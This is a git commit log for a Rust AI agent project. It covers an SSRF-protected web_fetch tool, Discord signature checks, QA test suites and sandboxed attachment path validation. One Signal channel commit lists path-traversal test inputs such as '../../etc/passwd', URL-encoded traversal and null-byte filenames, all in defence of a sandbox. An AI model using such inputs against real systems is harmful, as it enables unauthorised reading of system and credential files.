the bot token to the secrets store. This catches bad tokens immediately
for both fresh installs and reconfigures — the reconfigure path
(refresh_active_channel) skips on_start entirely and would never catch
an invalid token without this check. URL-encode the token before
interpolating into the getMe URL path.

Also update the activation-failure toast from "Restart required to
activate" (misleading now that the Restart button is gone) to
"Use Reconfigure to re-enter credentials and activate".

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): collapse nested if, fix formatting (clippy + fmt)

Collapse `if name == "telegram" { if let Some(...) }` into a single
let-chain condition as suggested by clippy's collapsible_if lint.
Also apply rustfmt line-length fixes in the same block.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:58:45 -08:00
8751a5a9bc feat: add web_fetch built-in tool (#435)
* feat: add web_fetch built-in tool and web-fetch skill

- New web_fetch Rust built-in tool (GET-only, auto-approved, structured
  output: url/title/content/word_count) with HTML to Markdown via Readability
- Full SSRF protection: HTTPS-only, no private IPs, DNS rebinding defence,
  outbound/inbound leak scanning, 5 MB cap, no redirect following
- Rate limited: 30 req/min, 500/hr (same as http tool)
- Protected tool name; registered in register_builtin_tools()
- validate_url made pub(crate) so web_fetch can reuse it from http.rs
- New skills/web-fetch/SKILL.md for agent guidance on web browsing
- Fixes unicode panic in extract_title: use to_ascii_lowercase not
  to_lowercase to preserve byte offsets when indexing original string

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* chore: remove web-fetch skill (tool description is self-sufficient)

The web_fetch tool's schema description already tells the LLM when and
how to use it. A SKILL.md would only add redundant prompt context.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: include HTTP status in web_fetch output

The LLM had no way to distinguish a 404 error page from a 200 success.
Including status in the structured output (alongside url/title/content/
word_count) lets the agent report failures correctly and matches the
behaviour of the http tool which always returns status.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* feat(web_fetch): add Chrome UA and safe redirect following

- Set a Chrome-like User-Agent so sites that block the default reqwest
  string return real content instead of bot-rejection pages.
- Add Accept: text/markdown, text/html header (mirrors OpenClaw).
- Follow up to 3 redirects manually instead of blocking all 3xx.
  Every Location URL is run through validate_url() before the next
  request is sent, so SSRF protection applies to every hop identically
  to how it applies to the original URL.
- Resolve relative Location values against the current URL before
  SSRF-validating them.
- Log each followed hop at DEBUG level.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(web_fetch): expose final_url after redirect following

When redirects are followed, the original `url` field no longer
reflects where the content actually came from. Add `final_url` so
the LLM can cite the canonical source correctly. Equals `url` when
no redirects occurred.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(web_fetch): address review comments and fix CI failures

- Store LeakDetector in WebFetchTool struct (init once in new(), not per execute() call)
- Use self.leak_detector for both outbound scan and redirect re-validation
- Simplify HTML/cfg blocks to reduce duplication (gemini-code-assist suggestion)
- Fix pub use ordering in mod.rs (cargo fmt)
- Add web_fetch to core_registration_covers_expected_tools snapshot test

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:58:22 -08:00
6481448d50 feat(web): DB-backed Jobs tab + scheduler-dispatched local jobs (#436)
* feat(web): DB-backed Jobs tab, scheduler-dispatched local jobs, remove active-jobs-bar

- Remove active-jobs-bar UI element (HTML, CSS, JS polling)
- Move job handlers from server.rs to handlers/jobs.rs
- Remove user_id scoping (single-user gateway)
- Add list_agent_jobs() and agent_job_summary() to Database trait
  (both postgres and libsql backends) for non-sandbox job visibility
- Wire SchedulerSlot into CreateJobTool so execute_local dispatches
  via scheduler (persists to DB + spawns worker) instead of creating
  phantom ContextManager-only jobs
- Update /status and /list slash commands to read from DB for
  consistency with Jobs tab
- Fix worker mark_completed: skip if already terminal or stuck
- Add agent job cancel via DB update in both web handler and slash cmd
- Add Stuck → Completed guard with tracing in worker completion path

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: address PR review comments

- Log warning when get_context fails in worker completion path
- Extract duplicated status-counting logic into AgentJobSummary::add_count()
  helper, used by both postgres and libsql backends

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: Nick Pismenkov <[email protected]>
2026-02-28 19:58:07 -08:00
afb49597ac feat(extensions): add OAuth setup UI for WASM tools + display name labels (#437)
Add setup.required_secrets to tool capabilities.json files so users can
configure OAuth client credentials (Google, Slack, Okta, Telegram) through
the Extensions UI Setup modal instead of environment variables.

- Add ToolSetupSchema/ToolSecretSetupSchema types to capabilities_schema.rs
- Extend get_setup_schema(), save_setup_secrets(), list() to handle WasmTool
- Extract load_tool_capabilities() helper to reduce duplication
- Auto-activate tools after saving setup secrets
- Show display_name labels (Channel/Tool/MCP) in extension cards
- Update button labels: "Setup" when unconfigured, "Reconfigure" when set
- Replace "Set" badge with checkmark in configure modal
- Fix innerHTML XSS pattern in slash autocomplete (use textContent)
- Add tests for ToolSetupSchema parsing and resolve_nested promotion
- Update registry display names (e.g. "Telegram Channel" vs "Telegram Tool")

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:57:55 -08:00
9b25e7566c feat(bootstrap): auto-detect libsql when ironclaw.db exists (#399)
* feat(bootstrap): auto-detect libsql when ironclaw.db exists

If DATABASE_BACKEND is unset after loading all env files and
~/.ironclaw/ironclaw.db exists, default to libsql automatically.

Fixes the chicken-and-egg problem on cloud instances where no
DATABASE_URL is configured: users no longer need to prefix every
ironclaw command with DATABASE_BACKEND=libsql.

Priority order: explicit env var > .env > ~/.ironclaw/.env > auto-detect

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(bootstrap): move env loading to sync main() before tokio runtime

- Fix cargo fmt: wrap three long assert! lines in new tests
- Address set_var data race: load_ironclaw_env() is now called from a
  synchronous fn main() wrapper before the Tokio runtime starts, making
  the set_var call provably safe (no worker threads exist yet)
- Remove the redundant dotenvy::dotenv() + load_ironclaw_env() calls
  from inside command handlers and agent startup (already done pre-tokio)
- Update SAFETY comment to reflect the actual invariant

Addresses Gemini code review comment and cargo fmt CI failure on PR #399.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 18:58:33 -08:00
9ce09f71b0 feat(web): slash command autocomplete + /status /list + fix chat input locking (#404)
* feat(web): slash command autocomplete, /status /list /cancel, fix input locking

Backend:
- Add JobStatus, JobList, JobCancel Submission variants to submission.rs
- Parse /status [id], /progress [id], /list, /cancel <id> as control commands
- Dispatch to existing handle_check_status/handle_list_jobs/handle_cancel_job
  handlers via new process_job_status/process_job_list/process_job_cancel methods
- Add 4 parser tests (34 total, all passing)

Web UI:
- Add slash command autocomplete: type / in chat input to see all 18 commands
  with descriptions; arrow-key navigation, Tab/Enter to select, Escape to close
- Remove chat input locking: drop textarea.disabled + sendBtn.disabled so users
  can always type and send (including /interrupt while agent is processing)
- Remove quick-action toolbar buttons (↩↪⏸⊖🗑📋) added in previous session
- Remove dead #chat-status bar (min-height 28px black bar always visible when empty)

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* refactor: address PR review comments

- Remove Submission::JobList variant; parse /list directly as
  JobStatus { job_id: None } (simpler, eliminates redundant enum
  variant, match arm, is_control branch, and wrapper function)
- Cache autocomplete matches in _slashMatches to avoid re-filtering
  SLASH_COMMANDS on every keydown while autocomplete is open

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: Pierre LE GUEN <[email protected]>
2026-02-27 20:59:32 +00:00
601d73d16b feat(routines): deliver notifications to all installed channels (#398)
* feat(routines): deliver notifications to all installed channels

Routine notifications were silently lost because the forwarder didn't
use NotifyConfig fields and WASM channels (Telegram, Slack) had
broadcast() as a no-op. This fixes three issues:

1. send_notification() now includes notify_user/notify_channel in
   metadata so the forwarder can route to specific channels
2. The routine forwarder mirrors the heartbeat pattern: try targeted
   channel first, fall back to broadcast_all
3. WasmChannel implements broadcast() using last-seen message metadata
   (chat_id), with persistence to the settings table so it survives
   restarts. Only writes to DB when the value actually changes.

Heartbeat notifications also benefit from the WASM broadcast fix.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* refactor(wasm): extract do_update_broadcast_metadata to eliminate duplication

The inline metadata-update block in `dispatch_emitted_messages` was
identical to the `update_broadcast_metadata` instance method. Extract
the shared logic into a private free function `do_update_broadcast_metadata`
that both call, so the persistence logic lives in one place.

Addresses Gemini code review comment on PR #398.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-27 12:01:32 -08:00
a65b282066 fix: web UI routines tab shows all routines regardless of creating channel (#391)
Routines created via Telegram (or any WASM channel) were invisible in the
web UI because the routines list endpoint filtered by GATEWAY_USER_ID,
which didn't match the Telegram user's ID stored on the routine.

Add list_all_routines() to the RoutineStore trait (both libSQL and
PostgreSQL backends) and use it in the web dashboard handlers so all
routines are visible regardless of which channel created them.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-27 18:34:22 +00:00
Henry ParkandGitHub ddd01a628c feat(web): persist tool calls, restore approvals on thread switch, and UI fixes (#382) 2026-02-27 17:46:37 +04:00
DevBrocoandGitHub a89c5f7348 Improve --help: add detailed about/examples/color, snapshot test (clo… (#371) 2026-02-27 17:45:30 +04:00
ibhagwanandGitHub c592a8f2de feat: add IRONCLAW_BASE_DIR env var with LazyLock caching (#397) 2026-02-27 17:43:43 +04:00
a7c0be7f1b fix: Discord Ed25519 signature verification and capabilities header alias (#148) (#372)
* test: add failing tests for Discord signature validation and capabilities alias (Red phase)

TDD Red phase for #148. Adds 19 tests across 4 categories:
- Category 1: CredentialLocationSchema header_name alias (2 failing)
- Category 2: Ed25519 signature verification (3 failing)
- Category 3: Router signature key management (2 failing)
- Category 5: Discord capabilities public_key setup (1 failing)

All 8 failures are expected — stubs return false/None by design.
Implementation will follow in Green phase.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: add Discord Ed25519 signature verification and capabilities alias (#148)

Implement the Green phase for Discord channel security fixes:

- Add real Ed25519 signature verification in signature.rs using ed25519-dalek
- Add #[serde(alias = "header_name")] to CredentialLocationSchema::Header
  for backward compatibility with external JSON files
- Add signature_keys storage to WasmChannelRouter (register/get/unregister)
- Add discord_public_key to discord.capabilities.json setup.required_secrets
- Add nested capabilities resolution to CapabilitiesFile for channel-level
  JSON compatibility

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: address PR #372 review comments

- Fix invalid hex character in test fake_pub_key (router.rs)
- Simplify signature parsing with from_slice/try_from (signature.rs)
- Use idiomatic Option::or for nested capability merging (capabilities_schema.rs)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: enforce signature verification, staleness check, key validation, recursive resolve

Address PR #372 review feedback:

- Wire verify_discord_signature() into webhook_handler with Ed25519
  signature + timestamp staleness check (5s window via now_secs param)
- Validate Ed25519 keys in register_signature_key() (hex decode +
  VerifyingKey::try_from) before storing, return Result<(), String>
- Recursively resolve nested capabilities in resolve_nested()
- Add 25 new tests: 8 staleness, 6 key validation, 7 webhook
  integration (tower::oneshot), 4 resolve_nested edge cases
- Fix pre-existing clippy warning in signal.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: wire register_signature_key() into all channel loading paths

The Ed25519 signature key registration was implemented and tested but
never called from production code. All three channel loading paths
(setup_wasm_channels, activate_wasm_channel, refresh_active_channel)
now read the public key from the secrets store and register it with
the webhook router, enabling Discord signature verification.

Adds `signature_key_secret_name` field to WebhookSchema so channels
can declare which secret contains their Ed25519 public key.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-27 07:01:54 +00:00
a24fd3e8a3 Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage (#353)
* Add automated QA: tool schema validator, feature-flag CI matrix, Docker build

P0 items from the automated QA plan (#352):

- Add validate_tool_schema() that checks OpenAI strict-mode rules
  (type: object, required keys in properties, nested object/array
  recursion) with 10 unit tests and 6 integration tests covering
  all core built-in tools

- CI test matrix now runs with --all-features, default features, and
  --no-default-features --features libsql to catch dead code behind
  wrong cfg gates

- CI clippy now runs the same 3-feature matrix with --all flags

- Docker build job added to catch missing files in Dockerfile

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P1 automated QA tests and fix LeakDetector prefix shadowing bug

P1 test coverage: config round-trip (settings + bootstrap), shell tool
arg handling, safety adversarial tests (sanitizer, leak detector,
allowlist), turn persistence (conversations, metadata, pagination, jobs),
and a clippy fix for libsql-only builds.

Fixed a real bug where AhoCorasick non-overlapping prefix iteration
caused shorter prefixes (e.g. "sk-") to shadow longer ones
(e.g. "sk-ant-api"), preventing Anthropic API key and SSH private key
detection.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P2 automated QA tests: chaos, lifecycle, collision, and recovery

Cover all P2 items from the automated QA plan:
- Circuit breaker chaos tests (hanging provider, rapid cycles, mixed errors)
- Failover chaos tests (hanging failover, all-fail, tools path, single provider)
- Value estimator boundary tests (negative cost, zero price, zero earnings)
- Context length recovery test (ContextLengthExceeded -> compact -> retry)
- WASM channel lifecycle tests (write/commit/read round-trip, namespace isolation)
- Extension registry collision tests (same-name different-kind coexistence)
- Extension filesystem collision tests (separate dirs, detect_kind priority)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P3 concurrent stress tests for ContextManager and SessionManager

Tests verify thread safety of double-checked locking, TOCTOU
prevention, and RwLock-based concurrent access patterns under load.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add dispatcher loop guard and self-repair stuck job tests

Dispatcher: test force_text mechanism prevents infinite tool call loops,
verify iteration bound arithmetic guarantees termination for all configs.

Self-repair: test stuck job detection, recovery within attempt limits,
manual escalation when limit exceeded, graceful degradation without
store/builder dependencies.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add E2E testing infrastructure design doc

Python + Playwright framework with mock LLM server for deterministic
browser-level testing of the web gateway. Covers connection/auth,
chat round-trip with SSE streaming, and skills lifecycle scenarios.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add E2E testing infrastructure implementation plan

10-task plan covering: scaffolding, mock LLM server, helpers,
conftest fixtures, connection/chat/skills test scenarios,
CI workflow, README, and integration run.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* scaffold: E2E test project with pyproject.toml

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E helpers with DOM selectors and port discovery

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: mock OpenAI-compat LLM server for E2E tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E conftest with session fixtures for mock LLM and ironclaw

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 1 -- connection and tab navigation tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 2 -- chat message round-trip tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 3 -- skills search, install, remove tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: add weekly E2E test workflow with Playwright

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* docs: E2E test README with setup and usage instructions

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: E2E test integration fixes from first run

- Use temp file DB instead of :memory: (libSQL :memory: doesn't persist
  tables across execute_batch)
- Fix installed skills selector: #skills-list not #installed-skills
- Add pytest-timeout to dependencies
- Improve skills install/remove test with wait_for instead of fixed sleeps

8 passed, 1 skipped (skills install depends on ClawHub availability)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add OpenAI strict-mode schema validator for all built-in tools (QA 1.1)

Add src/tools/schema_validator.rs with validate_strict_schema() that checks
tool parameter schemas against OpenAI function calling strict-mode rules:
type object at top level, required keys in properties, enum type consistency,
array items definitions, nested object recursion, and additionalProperties.

17 tests validate all 34+ built-in tool schemas across 5 test groups:
- 9 simple tools (echo, time, json, http, shell, file read/write/list/patch)
- 4 job tools (create, list, status, cancel)
- 4 skill tools (list, search, install, remove)
- 13 inline schemas for extension, routine, and complex job tools
- 4 memory tool schemas

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add E2E scenarios for SSE reconnect, HTML injection, and tool approval (QA 3.3/5/6)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: E2E test reliability for HTML injection and SSE reconnect

- HTML injection: test sanitization directly via JS injection instead of
  depending on full LLM round-trip (avoids intermittent 404 from mock)
- SSE reconnect: increase wait times for DB persistence and relax
  assertion to check total message count after history reload

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt formatting

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add WASM and MCP tool schema validation tests (QA 1.1)

Extends the schema validator with representative WASM tool schemas
(weather, HTTP client, batch processor, status), MCP tool schemas
(default, file read, SQL query, strict mode), and defect detection
tests for common external schema issues (missing type, typo in
required, array without items, enum type mismatch).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add auth middleware and compaction module tests

Auth middleware (8 new tests): valid/invalid bearer tokens, query param
fallback, case sensitivity, empty tokens, whitespace handling.

Compaction module (16 new tests): truncation strategy, summarize strategy
with mock LLM, workspace fallback, format_turns helper, sequential
compactions, coherence after compaction, token decrease verification.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add config round-trip integration tests (QA 1.2)

Test the full bootstrap .env lifecycle: write via the same format
as save_bootstrap_env/upsert_bootstrap_var, read back via dotenvy,
and assert values match. Covers LLM backend selection, embedding
disable flag, onboard completion flag, session token keys, multi-key
preservation across upsert, and special characters (spaces, equals,
quotes, backslashes, hashes).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add value estimator boundary tests and dispatcher loop guard (QA 4.3/4.4)

Value estimator (14 new tests): zero/negative prices, large values,
negative cost, exact margin boundaries, custom margin configuration.

Dispatcher loop guard (2 new tests): verifies the dispatch loop terminates
when all tool calls fail (regression guard for PR #252 infinite loop)
and when max iterations are reached.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add failover edge cases and provider chaos tests (QA 2.6/4.1)

Failover edge cases (4 new tests): cooldown at zero nanos, half-open
failure reopens circuit, all providers fail gracefully (no panic),
single failing provider with cooldown.

Provider chaos tests (15 new tests): flakey provider with retries,
hanging provider with timeout, garbage provider, circuit breaker
trip/recover, failover chain cascading, non-transient error stops
chain, full stack integration (retry + failover + circuit breaker).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback on QA tests

- Fix Bearer auth case-sensitivity per RFC 6750 (auth.rs)
- Refactor bootstrap.rs to expose path-parameterized variants so
  config_round_trip tests call real code instead of reimplementations
- Remove deprecated event_loop fixture, use dynamic ports, minimal env,
  session-scoped browser, and wire HEADED=1 in E2E conftest
- Add cross-referencing doc comments between schema validators
- Simplify array validation logic in tool.rs
- Bump e2e.yml checkout@v4 to @v6

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt and fix clippy warning in signal.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: improve E2E fixture error reporting and prevent stdin blocking

- Add --no-onboard flag to prevent wizard from blocking in CI
- Pipe /dev/null to stdin to prevent any stdin reads from hanging
- Add RUST_BACKTRACE=1 for crash diagnostics
- On server startup timeout, dump stderr to pytest output so CI
  logs show why the server failed to start

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: set session-scoped event loop for E2E async fixtures

pytest-asyncio 1.3.0 defaults asyncio_default_fixture_loop_scope to
None (function scope), causing session-scoped async fixtures to be
re-evaluated per test function with independent event loops. Each test
then independently attempts to start the ironclaw server, times out
at 120s, and wastes ~24 minutes of CI before the job is cancelled.

Setting asyncio_default_fixture_loop_scope = "session" ensures all
session-scoped async fixtures share a single event loop, so the server
starts once and is reused across all tests.

Also adds -x flag to pytest in CI to stop on first failure instead of
running all 19 tests when the fixture is broken.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: set test loop scope to session to match fixture loop scope

With asyncio_default_fixture_loop_scope=session but
asyncio_default_test_loop_scope=function (the default), tests run on
a per-function event loop while fixtures produce objects (Playwright
pages, browser contexts) on the session event loop. This event loop
mismatch causes the test to hang indefinitely awaiting Playwright
operations that are bound to the wrong loop.

Setting both scopes to "session" ensures a single event loop is shared
across all fixtures and tests, eliminating the deadlock.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: add roll-up jobs to match branch protection required checks

Branch protection expects "Code Style (fmt + clippy)" and "Run Tests"
status checks, but only individual job names were reported. Add
roll-up jobs that aggregate results and report the expected names.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-27 09:09:45 +04:00
e8eb4ca0bd fix: prevent duplicate WASM channel activation on startup (#390)
Register boot-loaded WASM channel names with the extension manager via
set_active_channels() before set_channel_runtime() so the dedup guard
in activate_wasm_channel() is armed before the activation path becomes
available. This fixes 409 Conflict errors from the Telegram API caused
by two concurrent getUpdates polling loops.

Also fix pre-existing clippy warning in signal.rs test.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-27 07:54:01 +04:00
ibhagwanandGitHub bf35b59222 feat(signal) attachment upload + message tool (#375)
* feat(channels/signal): add attachment upload support

- Add attachments field to OutgoingResponse for carrying file paths
- Add with_attachments() builder method to OutgoingResponse
- Update build_rpc_params() to include attachments array in JSON-RPC
- Update respond() and broadcast() to handle attachments:
  - Text + attachments: sends text first, then each attachment
  - Attachments only: sends each attachment with path as message
  - Text only: original behavior (no change)
- Add tests for build_rpc_params with attachments
- Add tests for OutgoingResponse attachment builder

This enables the Signal channel to send files via signal-cli daemon's
JSON-RPC send method, matching the nullclaw implementation.

Risk: Low - uses existing JSON-RPC infrastructure
Tests: 85 signal tests pass, 1543 lib tests pass

* feat(tools): add message tool for cross-channel messaging

Add a new 'message' tool that allows the agent to send messages to
any connected channel (signal, telegram, slack, etc.) with optional
file attachments.

Features:
- Send messages to specific channel + target combinations
- Support for attachments (file paths)
- E.164 validation delegated to channel (signal expects +number,
  telegram accepts username/chat_id, slack uses #channels)
- Helpful error messages showing available channels on failure

Tool schema:
- content: message text (required)
- channel: target channel name (optional, defaults to current channel)
- target: recipient (E.164, group ID, chat ID) (optional, defaults to
  current user/group chat)
- attachments: optional file paths to send

This complements the recently added attachment upload support for the
Signal channel by giving the agent a proper way to specify attachments
when sending messages.

Tests: 4 new tests for message tool schema
Risk: Low - new tool with no breaking changes
Tests: All 1547 lib tests pass, clippy clean

* feat(llm): add conversation context to system prompt for Signal

Add conversation_context HashMap to Reasoning struct to pass channel-specific
metadata (sender phone, sender UUID, group ID) to the LLM. This helps the
agent know who/group it's talking to, preventing it from hallucinating
phone numbers or sending to wrong recipients.

Changes:
- Add conversation_context field and with_conversation_data() builder method
- Add build_conversation_section() to include current conversation info in system prompt
- Update dispatcher to extract Signal metadata (sender, sender_uuid, group) and pass to Reasoning
- Add signal_sender_uuid to Signal channel metadata for privacy mode users

* feat(tools): add secure attachment path validation with sandbox enforcement

Implement robust path validation for message tool attachments to prevent
directory traversal attacks and unauthorized file access. Attachments are
now sandboxed to ~/.ironclaw/ by default.

Key changes:
- Create shared path_utils module with validate_path() and is_path_safe_basic()
- Extract normalize_lexical() from file.rs for reuse
- MessageTool now enforces sandbox at ~/.ironclaw/ for all attachments
- Path validation includes: traversal detection, canonicalization, symlink resolution
- Error messages reveal the allowed sandbox directory for user clarity

Security improvements:
- Blocks path traversal attacks (../, URL-encoded, null bytes)
- Canonicalizes paths to resolve symlinks before validation
- Walks up to nearest existing ancestor for non-existent paths
- Prevents escape from sandbox directory

Backward compatibility:
- File tools continue to work with their configured base_dir
- Message tool defaults to ~/.ironclaw/ sandbox
- Tests updated to create files within sandbox

Tests added:
- path_utils module tests (9 tests for validation logic)
- message tool attachment validation tests
- All 1571 existing tests pass

* fix(channels/signal): use robust path validation with full security coverage

Signal channel's validate_attachment_paths() now uses path_utils::validate_path()
for consistent, secure path validation.

Fixes:
- Replaced weak path.contains('..') check with robust validate_path()
- validate_path() now includes is_path_safe_basic() as first-pass filter to
  block null bytes and URL-encoded traversal sequences (%2e%2e%2f)
- Error message now shows allowed sandbox directory (~/.ironclaw/)

Security coverage:
- Path traversal: ../, foo/../bar, ../../etc/passwd ✓
- URL-encoded traversal: %2e%2e%2fetc/passwd ✓
- Null byte injection: file\0.txt ✓
- Paths outside sandbox: /tmp/evil.txt ✓
- Symlink escape attempts (via canonicalization) ✓

Tests added:
- validate_attachment_paths_rejects_path_outside_sandbox
- validate_attachment_paths_rejects_url_encoded_traversal
- validate_attachment_paths_rejects_null_byte
- Fixed broken assertion in rejects_double_dot test

* fix(llm): add Signal channel to build_channel_section to include message tool hint

The catch-all '_' arm was returning early before the message_tool_hint
section was constructed, which meant Signal users never got the
'## Proactive Messaging' section with examples for:
- Using attachments parameter
- Targeting different users/groups
- Cross-channel messaging

Now Signal will include the full message_tool_hint section with usage examples.

* fix(tools): use async locks in register_message_tools to prevent silent failures

The method was using register_sync which calls try_write() on self.tools.
If the lock was held, try_write() would return Err and silently skip
adding the tool to the registry, while self.message_tool already held
a reference. This creates an inconsistent state.

Fix: use async write locks directly instead of register_sync to ensure
the tool is always registered or the method fails explicitly.

* refactor(dispatcher): use Channel trait for conversation context

Replace hardcoded 'if message.channel == signal' block with generic
conversation_context() method on the Channel trait. This allows any
channel to provide context (sender, group, etc.) without hardcoding
channel names.

Changes:
- Add conversation_context() method to Channel trait (default: empty)
- Implement for SignalChannel: extracts sender, sender_uuid, group
- Add get_channel() to ChannelManager (returns Arc<dyn Channel>)
- Change ChannelManager storage from Box to Arc for shared access
- Update dispatcher to use new trait method
- Add tests for conversation_context extraction

Other channels (Telegram, Slack, Discord) can now implement this
method to provide conversation context without code changes in dispatcher.

* fix(tests): split message_tool_with_attachments into sandbox and channel tests

The original test was passing for the wrong reason - it expected an error
because the channel doesn't exist, but actually failed earlier during sandbox
validation because /tmp paths are outside ~/.ironclaw/.

Split into two tests:
- message_tool_with_attachments_outside_sandbox: verifies sandbox rejection
  with explicit error message check
- message_tool_with_attachments_inside_sandbox_no_channel: uses files within
  sandbox (like message_tool_passes_attachment_to_broadcast does) and verifies
  the channel-related error message

* security(message tool): add rate limiting, approval requirements, and audit logging

The message tool can send to ANY connected channel/target making it a significant
abuse vector if the LLM is compromised or prompt-injected. This commit adds:

1. Rate limiting: 10 messages/minute, 100/hour per user
2. Approval requirement: Always requires approval for cross-channel messages
   (when channel differs from the default conversation channel)
3. Audit logging: Every successful message send is logged with channel,
   target, and attachment count

The approval logic:
- If channel param is provided and differs from default -> Always require approval
- If no default channel is set and explicit channel provided -> Always require approval
- Otherwise (using default channel) -> UnlessAutoApproved

* fix(message tool): return explicit error for malformed attachments array

Previously, malformed attachments like {"attachments": [123, true]} would be
silently ignored via .ok().unwrap_or_default(), leaving users confused
when attachments weren't sent.

Now returns explicit error: "Invalid attachments format: ..."

* fix(message tool): verify attachment files exist before sending

Previously, non-existent paths would pass sandbox validation and surface
as confusing Signal RPC errors. Now returns clear "Attachment file not found" error.

* fix(test): create sandbox directory if it doesn't exist for CI

The test validate_attachment_paths_accepts_normal_paths uses
tempfile::tempdir_in() which requires the parent directory to exist.
In CI, ~/.ironclaw doesn't exist, causing test failure.
2026-02-26 18:06:21 +04:00
323 changed files with 43422 additions and 4054 deletions
+7
View File
@@ -115,5 +115,12 @@ HEARTBEAT_NOTIFY_USER=default
SAFETY_MAX_OUTPUT_LENGTH=100000
SAFETY_INJECTION_CHECK_ENABLED=true
# Restart Feature (Docker containers only)
# Set IRONCLAW_IN_DOCKER=true in the container entrypoint to enable the restart feature.
# Without this, the restart tool and /restart command will be disabled.
# IRONCLAW_IN_DOCKER=false
# IRONCLAW_RESTART_DELAY=5 # default wait before exit (seconds, range: 1-30)
# IRONCLAW_MAX_FAILURES=10 # max consecutive failures before container exits
# Logging
RUST_LOG=ironclaw=debug,tower_http=debug
+3
View File
@@ -62,6 +62,9 @@ create "scope: ci" "546E7A" "CI/CD workflows"
create "scope: docs" "78909C" "Documentation"
create "scope: dependencies" "90A4AE" "Dependency updates"
echo "==> Creating workflow labels..."
create "skip-regression-check" "9E9E9E" "Acknowledged: fix without regression test"
echo "==> Creating contributor labels..."
create "contributor: new" "FFF9C4" "First-time contributor"
create "contributor: regular" "FFE082" "2-5 merged PRs"
+44 -8
View File
@@ -3,8 +3,8 @@ on:
pull_request:
jobs:
codestyle:
name: Code Style (fmt + clippy)
format:
name: Formatting
runs-on: ubuntu-latest
steps:
- name: Checkout repository
@@ -13,10 +13,46 @@ jobs:
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
components: rustfmt, clippy
- uses: Swatinem/rust-cache@v2
components: rustfmt
- name: Check formatting
run: |
cargo fmt --all -- --check
- name: Check lints (cargo clippy)
run: cargo clippy -- -D warnings
run: cargo fmt --all -- --check
clippy:
name: Clippy (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
components: clippy
- uses: Swatinem/rust-cache@v2
with:
key: clippy-${{ matrix.name }}
- name: Check lints
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
# Roll-up job for branch protection
